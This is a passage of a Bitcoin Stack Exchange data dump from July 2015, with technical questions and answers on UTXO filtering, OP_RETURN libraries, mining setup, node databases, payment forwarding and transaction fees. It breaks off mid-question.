  <row Id="38638" PostTypeId="1" CreationDate="2015-07-16T06:55:53.040" Score="-1" ViewCount="460" Body="&lt;p&gt;I am thinking about building an spv-like wallet using trusted nodes.&#xA;It does not download blockchain.&#xA;Instead, the wallet gets its utxo, transactions,balance data from abe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, can the bloom filter be used to filter UTXO?&lt;/p&gt;&#xA;" OwnerUserId="27457" LastActivityDate="2015-07-16T19:45:15.267" Title="Can bloom filter be used to filter UTXO?" Tags="|utxo|bip37-bloom-filter|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38639" PostTypeId="2" ParentId="38580" CreationDate="2015-07-16T07:08:58.880" Score="3" Body="&lt;p&gt;You can't trust pure SPV for any Bitcoin 2.0 protocols, because of the 'metadata faking' issue that you outline. You have a few options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Accept you need to run a full node to backtrack through transactions. (Though note that this will not scale well anyway for popular assets.)&lt;/li&gt;&#xA;&lt;li&gt;Use a blockchain that has native support for assets, like &lt;a href=&quot;https://github.com/ElementsProject/elementsproject.github.io&quot; rel=&quot;nofollow&quot;&gt;Sidechain Elements&lt;/a&gt; or &lt;a href=&quot;http://www.multichain.com/&quot; rel=&quot;nofollow&quot;&gt;MultiChain&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Use some kind of external service to track assets, like the &lt;a href=&quot;http://docs.coinprism.apiary.io/&quot; rel=&quot;nofollow&quot;&gt;CoinPrism API&lt;/a&gt; for Open Assets or CoinSpark's &lt;a href=&quot;http://coinspark.org/create-asset/asset-tracking-server/&quot; rel=&quot;nofollow&quot;&gt;federated asset tracking&lt;/a&gt; model.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-16T07:08:58.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38640" PostTypeId="2" ParentId="30316" CreationDate="2015-07-16T07:16:37.137" Score="0" Body="&lt;p&gt;This is a subjective question of course, but you could view it simply as a technology finding its most compelling applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually we will reach a time when transactions have to constantly complete for confirmation via the size of the miner fees that they attach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When that happens, if people are willing to pay higher fees to embed metadata than to send bitcoins, then this will be the dominant use of the blockchain. If not, then not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At &lt;a href=&quot;http://coinsecrets.org/&quot; rel=&quot;nofollow&quot;&gt;Coin Secrets&lt;/a&gt;, we're currently seeing the OP_RETURN volume doubling every 10,000 blocks or so, i.e. every 70 days. We'll see if that continues.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-16T07:16:37.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38641" PostTypeId="2" ParentId="25224" CreationDate="2015-07-16T07:18:55.567" Score="3" Body="&lt;p&gt;You can make life easy by using one of our OP_RETURN libraries:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP: &lt;a href=&quot;https://github.com/coinspark/php-OP_RETURN&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coinspark/php-OP_RETURN&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Python: &lt;a href=&quot;https://github.com/coinspark/python-OP_RETURN&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coinspark/python-OP_RETURN&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The code will also show you exactly how it's done.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-16T07:18:55.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38642" PostTypeId="2" ParentId="25183" CreationDate="2015-07-16T07:38:49.800" Score="0" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://api.coinsecrets.org/&quot; rel=&quot;nofollow&quot;&gt;Coin Secrets API&lt;/a&gt; to obtain the OP_RETURN transactions in each block though it does not yet have a regex feature.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-16T07:38:49.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38643" PostTypeId="2" ParentId="31989" CreationDate="2015-07-16T07:41:22.360" Score="1" Body="&lt;p&gt;You might find our OP_RETURN libraries useful, for &lt;a href=&quot;https://github.com/coinspark/php-OP_RETURN&quot; rel=&quot;nofollow&quot;&gt;PHP&lt;/a&gt; and &lt;a href=&quot;https://github.com/coinspark/python-OP_RETURN&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt;. If you look at the code you can also see exactly how they work.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-16T07:41:22.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38644" PostTypeId="2" ParentId="38549" CreationDate="2015-07-16T10:41:18.173" Score="0" Body="&lt;p&gt;Blockchain.info does not display transactions with OP_RETURNs until they are confirmed on the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can view all recent OP_RETURN transactions on &lt;a href=&quot;http://coinsecrets.org/&quot; rel=&quot;nofollow&quot;&gt;Coin Secrets&lt;/a&gt;, and there's a link from there to a simple PHP library for working with OP_RETURNs.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-16T10:41:18.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38645" PostTypeId="2" ParentId="38610" CreationDate="2015-07-16T10:44:49.200" Score="0" Body="&lt;p&gt;You should starting by running Bitcoin Core, the reference client for the bitcoin network. Then you will find a ton of libraries (including Ruby) that can work with that to let you see new transactions, blocks, etc...&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-16T10:44:49.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38646" PostTypeId="2" ParentId="38591" CreationDate="2015-07-16T10:48:07.993" Score="2" Body="&lt;p&gt;I remember having the same question when the initial OP_RETURN ability came out in Bitcoin Core 0.9, but most of the network was still running 0.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember that it began to be reliable to send OP_RETURN transactions and get them mined once around 30% of the network was willing to relay them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you should keep an eye on &lt;a href=&quot;https://getaddr.bitnodes.io/dashboard/#user-agents&quot; rel=&quot;nofollow&quot;&gt;https://getaddr.bitnodes.io/dashboard/#user-agents&lt;/a&gt; for a similar %age.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-16T10:48:07.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38647" PostTypeId="2" ParentId="38610" CreationDate="2015-07-16T12:54:38.643" Score="0" Body="&lt;p&gt;Yes, what you are looking for is websocket API. There are several APIs for this, but the most popular are blockchain.info and chain.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simple javascript implementation I made with chain.com websocket:  &lt;a href=&quot;http://jsfiddle.net/93vrLet3/1/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/93vrLet3/1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to learn more, here's a step-by-step video and written tutorial on the subject: &lt;a href=&quot;http://btcthreads.com/display-real-time-bitcoin-transactions-with-jquery-and-websocket/&quot; rel=&quot;nofollow&quot;&gt;http://btcthreads.com/display-real-time-bitcoin-transactions-with-jquery-and-websocket/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-07-16T12:54:38.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38649" PostTypeId="2" ParentId="38636" CreationDate="2015-07-16T14:37:23.300" Score="1" Body="&lt;p&gt;USB stick ASIC mining devices often fail due to lack of power over the USB port: laptop USB, weak USB hub, weak power supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you use a powered USB hub that others have had success with. Not all powered USB hubs can handle bitcoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is especially problematic when running multiple USB sticks, but even a single stick can fail if your USB ports have particularly weak power as is often the case with laptops.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-07-16T14:37:23.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38650" PostTypeId="1" CreationDate="2015-07-16T15:16:53.973" Score="3" ViewCount="399" Body="&lt;p&gt;My concern isn't with individual bitcoin users but governments, what if a government spammed the network with say $1 Billion dollars worth of tiny dust transactions, including fees? The backlog of unconfirmed transactions would seem to effectively render the blockchain useless at that point and people would no longer have trust in or want to wait for transactions to confirm. This seems like it could be a major issue for the protocol...are their any defenses in place currently for some type of attack like this?&lt;/p&gt;&#xA;" OwnerUserId="27463" LastEditorUserId="5406" LastEditDate="2023-03-17T23:26:49.457" LastActivityDate="2023-03-17T23:26:49.457" Title="bitcoin dust spamming - could the blockchain be rendered useless?" Tags="|dust|blockspace-market|spam|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38651" PostTypeId="2" ParentId="38650" CreationDate="2015-07-16T16:17:58.617" Score="4" Body="&lt;p&gt;Perhaps only for other dust sized transactions with minimal fees. Dust transactions with small fees are low priority and are NOT guaranteed to be confirmed in the order the transaction was placed but rather by the priority. So lets say there is a backlog of 1 million dust transactions, I could create a transaction using 1 output for 0.01 and include a fee of 0.0002 and it should be included in the next few blocks, well before any of those 1 million dust transactions. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-07-16T16:17:58.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38653" PostTypeId="2" ParentId="38638" CreationDate="2015-07-16T19:45:15.267" Score="2" Body="&lt;p&gt;I don't see your desired trusted full node setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you can control a the trusted full-nodes, you might consider using the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.11/doc/REST-interface.md#query-utxo-set&quot; rel=&quot;nofollow&quot;&gt;REST &lt;code&gt;getutxo&lt;/code&gt;&lt;/a&gt; command. It's more or less similar to a not implemented &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0064.mediawiki&quot; rel=&quot;nofollow&quot;&gt;Bip64&lt;/a&gt;. In my opinion you don't need bloom filter for the &lt;code&gt;getutxo&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't expose the &lt;code&gt;REST&lt;/code&gt;/&lt;code&gt;RPC&lt;/code&gt; interface to the public. Instead build a &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/mod_proxy.html&quot; rel=&quot;nofollow&quot;&gt;reverse proxy with apache&lt;/a&gt; or similar.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-16T19:45:15.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38654" PostTypeId="1" CreationDate="2015-07-16T20:43:45.993" Score="0" ViewCount="499" Body="&lt;p&gt;I try to implement the payment processing API from blockchain.info&#xA;I created a request by the example of their website, and receive a generated bitcoin adress:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See an example here: &lt;a href=&quot;https://blockchain.info/address/1Jv2S3iMo71c1WZEuE25Gemx7qjmqcVqNX&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1Jv2S3iMo71c1WZEuE25Gemx7qjmqcVqNX&lt;/a&gt;&#xA;I send 0.001 BTC to that adress. It has already 8 confirmations atm. But when are they send to my adress? How much confirmations does blockchain.info needs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="27468" LastActivityDate="2020-12-22T22:07:35.607" Title="blockchan.info payment processing, how long?" Tags="|blockchain.info|payment-processors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38655" PostTypeId="1" CreationDate="2015-07-16T21:01:45.430" Score="3" ViewCount="853" Body="&lt;p&gt;I'm looking into the data and source of bitcore-node ( &lt;a href=&quot;http://bitcore.io/&quot; rel=&quot;nofollow&quot;&gt;http://bitcore.io/&lt;/a&gt; ), I'm a bit confused how all the information is stored in the database, probably it's in a similar way to others block explorers, so maybe someone could help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case for example &lt;a href=&quot;https://blockchain.info/tx/acb2e895a9b3664cfcfb13dd0321ef0c1205cf2aa082681dc6ba424af6456a42&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/acb2e895a9b3664cfcfb13dd0321ef0c1205cf2aa082681dc6ba424af6456a42&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the database I found two txo- txo-acb2e895a9b3664cfcfb13dd0321ef0c1205cf2aa082681dc6ba424af6456a42-0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;prevTxId&quot;:&quot;8697331c3124c8a4cf2f43afb5732374ea13769e42f10aa3a98148a08989af5e&quot;,&quot;outputIndex&quot;:1,&quot;sequenceNumber&quot;:4294967295,&quot;script&quot;:&quot;4730440220106c316c22d4bf8c970f8e4b1af1edd95121397cfe29ab987cb000b478ec8e4302202b77986b89d77ab716da3cf53424efacf35e9097b1c89194df220e99503b8cae01&quot;,&quot;scriptString&quot;:&quot;71 0x30440220106c316c22d4bf8c970f8e4b1af1edd95121397cfe29ab987cb000b478ec8e4302202b77986b89d77ab716da3cf53424efacf35e9097b1c89194df220e99503b8cae01&quot;,&quot;heightConfirmed&quot;:37514}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;txo-acb2e895a9b3664cfcfb13dd0321ef0c1205cf2aa082681dc6ba424af6456a42-1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;satoshis&quot;:10100000000,&quot;script&quot;:&quot;76a91427d25a1ff9a6da31eeb991c48bb6cd95191a6b2c88ac&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly different data, not sure why in one case we store the previous txid and in the other just the satoshis sent. It has to be obvious, but not sure what I'm missing here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example &lt;a href=&quot;https://blockchain.info/tx/00eff263871e6d44abed66d90abb10d5a211441668511dba3146e380360efe4b&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/00eff263871e6d44abed66d90abb10d5a211441668511dba3146e380360efe4b&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;txo-00eff263871e6d44abed66d90abb10d5a211441668511dba3146e380360efe4b-0 (from 0 to 5 all have similar data)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;prevTxId&quot;:&quot;6aebb4a764a027436f703ca9d42d0735423798f56973f9f236832a91fc2e9026&quot;,&quot;outputIndex&quot;:0,&quot;sequenceNumber&quot;:4294967295,&quot;script&quot;:&quot;473044022057801e812f964bcb9e8ff17b37acef55afbb7119a66f24a148ba65e86a7aa1e3022064af657d280068b979ea17a29969976aedee8a664b3f1b575ebb88ef9275302601&quot;,&quot;scriptString&quot;:&quot;71 0x3044022057801e812f964bcb9e8ff17b37acef55afbb7119a66f24a148ba65e86a7aa1e3022064af657d280068b979ea17a29969976aedee8a664b3f1b575ebb88ef9275302601&quot;,&quot;heightConfirmed&quot;:10712}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also,... they are inputs, not outputs of the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to read the code, but I can't get to understand all the pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As someone points me in reddit, it looks like it's using txo-- to store both, outputs and inputs. So I'm not sure how bitcore manages to get the inputs/outputs separately later (the API allows you to request only the inputs for example).&lt;/p&gt;&#xA;" OwnerUserId="22874" LastEditorUserId="121614" LastEditDate="2021-12-27T16:40:57.577" LastActivityDate="2021-12-27T16:40:57.577" Title="Trying to understand how bitcore-node stores the data in the DB" Tags="|database|bitcore|leveldb|blockchain-explorer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38657" PostTypeId="2" ParentId="38654" CreationDate="2015-07-17T00:14:32.473" Score="1" Body="&lt;p&gt;I've had the same issue. Sounds like you are using blockchain.info's receive payments API. This is a free service they offer where BC.info even pays the transaction fee. The payment forwarding used to be almost instant, then it went down to one confirmation. Sometime over the last month or two during the &quot;stress tests&quot; and the SPV mining fork it is taking about 24 hours before the transaction is forwarded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this permanent? I don't know, but I suppose there has to be some take-away when you use a free service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for an alternative I suggest you try blockcypher. However with blockcypher they &lt;strong&gt;do not&lt;/strong&gt; pay the transaction fee, so the receiving address will receive 10,000 less satoshis as a mining fee on every transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.blockcypher.com/#payment-forwarding&quot; rel=&quot;nofollow&quot;&gt;http://dev.blockcypher.com/#payment-forwarding&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-07-17T00:14:32.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38658" PostTypeId="1" AcceptedAnswerId="38662" CreationDate="2015-07-17T01:51:24.817" Score="1" ViewCount="3138" Body="&lt;p&gt;I recently set up a bitcoin miner on my gaming pc just to test it out and I can't seem to get it working. I am using &lt;code&gt;bfgminer&lt;/code&gt; on Ubuntu and when I start it up it says this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NO DEVICES FOUND: Press 'M' and '+' to add&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried pressing M and + and then selecting auto but it still gives me that message, I have also tried selecting all and the same thing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my computer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Processor: 8x AMD FX(tm)-8320 Eight-Core Processor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Memory: 8074MB (1255MB used)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Graphics: Sapphire HD, ATi radeon 4800 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operating System: Ubuntu 14.04.1 LTS&lt;/p&gt;&#xA;" OwnerUserId="27472" LastEditorUserId="5406" LastEditDate="2016-03-15T12:53:41.743" LastActivityDate="2016-03-15T12:53:41.743" Title="Why won't my bitcoin miner detect any of my hardware?" Tags="|ubuntu|miner-configuration|gpu-mining|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38659" PostTypeId="1" CreationDate="2015-07-17T02:23:41.730" Score="4" ViewCount="421" Body="&lt;p&gt;Lets say I want a donate bitcoin button/QR code to send to multiple recipients in different ratios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As in send 50% to wallet 1.&#xA;Send 25% to wallet 2.&#xA;Send 25% to wallet 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this in a single transaction, IE, make a single bitcoin:uri to pay multiple people?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="27473" LastActivityDate="2015-07-17T02:23:41.730" Title="bitcoin:uri for sending payments to multiple addresses" Tags="|address|sending|bip21-uri|sendtoaddress|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38662" PostTypeId="2" ParentId="38658" CreationDate="2015-07-17T06:33:25.583" Score="2" Body="&lt;p&gt;According to the &lt;a href=&quot;https://bitcointalk.org/?topic=877081&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt;, current versions of bfgminer only support FPGA and ASIC mining hardware out of the box. It  sounds like you don't have any such devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPU and GPU mining are not enabled by default, since they are not economically viable. See the files README.CPU and README.GPU for information about how to enable them if you really want to.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-07-17T06:33:25.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38667" PostTypeId="2" ParentId="34045" CreationDate="2015-07-17T09:40:36.203" Score="1" Body="&lt;p&gt;&lt;em&gt;TL;DR: Yes, &quot;make ./src/bitcoin-cli&quot;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The full procedure (with bitcoin-0.11.0, you may want to download a newer version if any):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ~/&#xA;wget https://bitcoin.org/bin/bitcoin-core-0.11.0/bitcoin-0.11.0.tar.gz&#xA;sha256sum bitcoin-0.11.0.tar.gz | grep 51ba1756addfa71567559e3f22331c1d908a63571891287689fff7113035d09f&#xA;tar xfz bitcoin-0.11.0.tar.gz&#xA;cd bitcoin-0.11.0&#xA;./configure --enable-hardening --disable-wallet --disable-upnp-default --without-miniupnpc&#xA;make ./src/bitcoin-cli&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check that everything is fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./src/bitcoin-cli --help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26897" LastActivityDate="2015-07-17T09:40:36.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38670" PostTypeId="1" CreationDate="2015-07-17T15:38:25.907" Score="0" ViewCount="303" Body="&lt;p&gt;What I have in mind are proof of existence software, than are a kind a non-centralized and virtual notary service. They time-stamp digital information submitting a hash to the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know already that technically, the blockchain can be used for that. After all, it's basically a time-stamping system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, is this kind of service disruptive to the bitcoin community? Can it become disruptive when it reaches a certain level and be curtailed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also wonder whether the messages are prunable. Important are the transactions, not the associated messages. If the blockchain grow and grow, would the messages be still be kept?&lt;/p&gt;&#xA;" OwnerUserId="27488" LastActivityDate="2015-07-17T18:08:15.370" Title="Using the blockchain for providing other services, besides bitcoin transactions" Tags="|services|timestamp|message|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38671" PostTypeId="2" ParentId="14446" CreationDate="2015-07-17T16:31:39.560" Score="0" Body="&lt;p&gt;It is not possible to encrypt something (if given an address) in a way the owner can decrypt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if provided a message, an address, and a signature of the message by the respective private key, it is possible to recover the public key which you can use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not quite so simple however - most public key encryption schemes have a limit on the data that can be encrypted (limited by key size). Because of this, GPG, and others using public key cryptography, involves generating a random for &lt;strong&gt;symmetric&lt;/strong&gt; encryption of each message, and encrypts the new key with the recipients EC/RSA public key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be possible to use secp256k1 as a basis for this, but ultimately the choice of curve is a minor detail in the overall design of the scheme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just because you can employ secp256k1 this way, doesn't mean you should - there is already software which has existed for years which can do just this. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2015-07-17T16:31:39.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38674" PostTypeId="2" ParentId="38670" CreationDate="2015-07-17T18:08:15.370" Score="1" Body="&lt;p&gt;There are already tons of services doing this, so probably worth focusing your creative efforts elsewhere. Here are the ones we know about on &lt;a href=&quot;http://coinsecrets.org/&quot; rel=&quot;nofollow&quot;&gt;Coin Secrets&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.proofofexistence.com/&quot; rel=&quot;nofollow&quot;&gt;Proof of Existence&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blocksign.com/&quot; rel=&quot;nofollow&quot;&gt;BlockSign&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stampd.io/&quot; rel=&quot;nofollow&quot;&gt;Stampd&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.lapreuve.net/&quot; rel=&quot;nofollow&quot;&gt;La Preuve&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitproof.io/&quot; rel=&quot;nofollow&quot;&gt;Bitproof&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stampery.co/&quot; rel=&quot;nofollow&quot;&gt;Stampery&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/thereal1024/ProveBit&quot; rel=&quot;nofollow&quot;&gt;ProveBit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for pruning, assuming you use the same &lt;code&gt;OP_RETURN&lt;/code&gt; mechanism as these tools, then they may be pruned by some nodes. But I imagine there will always be plenty of full archives of the blockchain available (even if this is eventually a paid-for service) so I doubt that your timestamped hashes will ever be truly lost.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-17T18:08:15.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38676" PostTypeId="1" CreationDate="2015-07-17T20:15:38.643" Score="7" ViewCount="27012" Body="&lt;p&gt;I am using blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made a bitcoin transaction of 4.79 BTC to the address 1DWaEfPbcKQvjMi9D9eNMrVRQzWiSLVvaS. (exchanger)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the transaction at &lt;a href=&quot;https://blockchain.info/tx/92f565e23499437ed4d54bc946a044c56353c4d1f512cf514b40a31e49292732&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/92f565e23499437ed4d54bc946a044c56353c4d1f512cf514b40a31e49292732&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have paid a 0.0001 BTC fee but it has been almost +24 hours and it still shows &quot;Unconfirmed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Network Propagation 1% - 18 Nodes - (Very Poor) - Why is so poor the network propagation, what;s to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the error? Also, more importantly, how do I cancel the unconfirmed transaction and get back my coins?&lt;/p&gt;&#xA;" OwnerUserId="27492" LastEditorUserId="24925" LastEditDate="2015-08-31T10:41:15.127" LastActivityDate="2017-04-04T12:52:12.563" Title="Blockchain - How can I cancel my blockchain transaction, unconfirmed after +1 day" Tags="|blockchain.info|unconfirmed-transactions|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2017-06-07T16:35:12.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="38677" PostTypeId="2" ParentId="53852" CreationDate="2015-07-17T21:10:57.150" Score="1" Body="&lt;p&gt;If transaction is unconfirmed you may just double spend it. It would probably require creating a transaction manually (I have used node.js with BitcoinJS for it), and then submitting it via the console of the bitcoin client. I would suggest also paying a bit higher fee (for the new transaction being confirmed before the old one) and not reusing any of source addresses used by either the old or new transaction, as double spend is easy to detect and people may not trust you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the point is to just make the original transaction confirmed you may just try to resend it (using console). It sometime helps as unconfirmed transactions are broadcasted by the network only for limited time.&lt;/p&gt;&#xA;" OwnerUserId="18403" LastActivityDate="2015-07-17T21:10:57.150" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38682" PostTypeId="2" ParentId="7323" CreationDate="2015-07-18T17:52:56.877" Score="0" Body="&lt;p&gt;yes, its ok, The second confirm and beyond will obviously have the full 10 min average block time wait time however. simply looking at this chart tells you that average transaction confirmation time is not 10 minutes (block confirmation is 10min)&lt;/p&gt;&#xA;" OwnerUserId="27500" LastActivityDate="2015-07-18T17:52:56.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38685" PostTypeId="1" CreationDate="2015-07-19T05:48:36.103" Score="3" ViewCount="691" Body="&lt;p&gt;&lt;strong&gt;What will happen, specifically to the price of Bitcoin and transaction fees when the block reward drops to a negligible amount?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, each block reward is approximately worth &lt;code&gt;25 * $300 = $7,500&lt;/code&gt;. To generate a tantamount reward as today, with (an assumed) 4000 transactions per block at today's exchange rate, the average transaction fee would have to be &lt;code&gt;$1.87&lt;/code&gt;.&lt;br&gt;&#xA;&lt;strong&gt;Under these assumptions that would put Bitcoin out of business in terms of being an affordable way to make everyday transactions, especially micropayments.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I know that block size is mutable so does this mean it's inevitable? Or does it mean that the price of BTC will have to rise to at least the cost to mine a block divided by the transactions per block multiplied by the exchange rate to be worthwhile? Doesn't this then mean that the value of Bitcoin outside it's functional value, is then ultimately determined by the block size which markets don't have control of? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does BTC fiat price increase to meet the collective cost of actually hashing the transaction block or does the total block transaction fee value determine it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My point is, when transaction fees are the ONLY incentive to mine (and that will happen eventually as a certainty) the total sum of the transaction fees must match the cost of mining the block they were included in. If the block costs more to mine 